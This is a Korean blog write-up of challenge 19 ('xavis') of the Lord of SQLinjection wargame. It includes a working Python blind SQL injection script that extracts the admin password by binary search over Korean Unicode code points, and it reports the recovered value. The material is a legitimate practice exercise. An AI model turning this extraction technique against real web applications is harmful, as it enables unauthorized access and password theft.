Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- Lord of sqlinjection
- sql
- lord of sqlinjection`
- 소켓
- 웹
- 스프링 특징
- injection
- 해킹
- Los
- php
- 자바 Array list
- 세션
- 자바
- 자바 has-a
- 서버
- 클라이언트
- 마이크로서비스 아키택트
- 스프링구조
- sqlinjection
- 자바 문법
- 스프링
- 자바 is-a
- APM
- 보안
- 쿠키
- 스프링 종류
- XSS
- 웹 개발
- 세션쿠키
- lord of sqlinjectin
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 19번 ) xavis 본문
19번 문제이다
필터링을 like와 regex 를 하는데
사실상
의미가 있어 보이진 않는다.
무난하게 길이를 알아낸다.
평소하던 방식대로 자동화 코드를 돌렸는데 되지않는다
코드가 잘못된건지 수정을 반복하다가
한글이 아닐까..? 라는 생각을 하게 되어
import requests
def send(query):
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookie = "쿠키"
head = {"PHPSESSID":f"{cookie}"}
my_url = url+query
res = requests.get(my_url, cookies=head)
return res.text
print("인제션 공격 시도 Start!!")
length = 12
pw = ''
for i in range(1, length+1) :
# 유니코드 (0x0 ~0xFFFF)
# 44032 :'가'의 유니코드 포인트 십진수
# 55203 : '힣'의 다음 유니코드 포인트
low = 0xAC00 # 한글 시작 유니코드 포인트
high = 0xD7A3 # 한글 끝 유니코드 포인트 + 1
while(low <= high) :
mid = (high+low)//2
#equal
query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))={}%23'.format(i, mid)
print(query, 'find:',pw)
if('Hello admin' in send(query)):
pw += chr(mid)
break
#smaller
query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))>{}%23'.format(i, mid)
print(query, 'find:',pw)
if('Hello admin' in send(query)):
low = mid+1
continue
#bigger
query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))<{}%23'.format(i, mid)
print(query, 'find:',pw)
if('Hello admin' in send(query)) :
high = mid-1
continue
print('res:',pw)
위의 코드에서는 유니코드의 범위가 워낙 넓어 이진탐색을 써서 비밀번호를 구하였고
low high 값은 한글 범위가 포함되게 하면 유니코드 범위안에서 어떤 숫자든 상관이 없다.
Sql에서 한글은 3Byte로 저장되는데 예외사항이 있기 때문에 length 함수로 정확한 문자열의 길이를 알아낼 수는 없다고 해서
pw 12개까지 기다릴 필요도 없이
사진을 찍어버렸다.
pw 값은 -> 우왕굳이 나왔다.
****key point****
유니코드 : U+0000 ~ U+FFFF 까지 문자를 표현
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 21번 ) iron golem (1) | 2024.07.05 |
---|---|
Lord of SQLinjection ( 20번 ) dragon (0) | 2024.07.04 |
Lord of SQLinjection ( 18번 ) nightmare (0) | 2024.06.28 |
Lord of SQLinjection ( 17번 ) zombie_assassin (0) | 2024.06.16 |
Lord of SQLinjection ( 16번 ) succubus (0) | 2024.06.11 |
Comments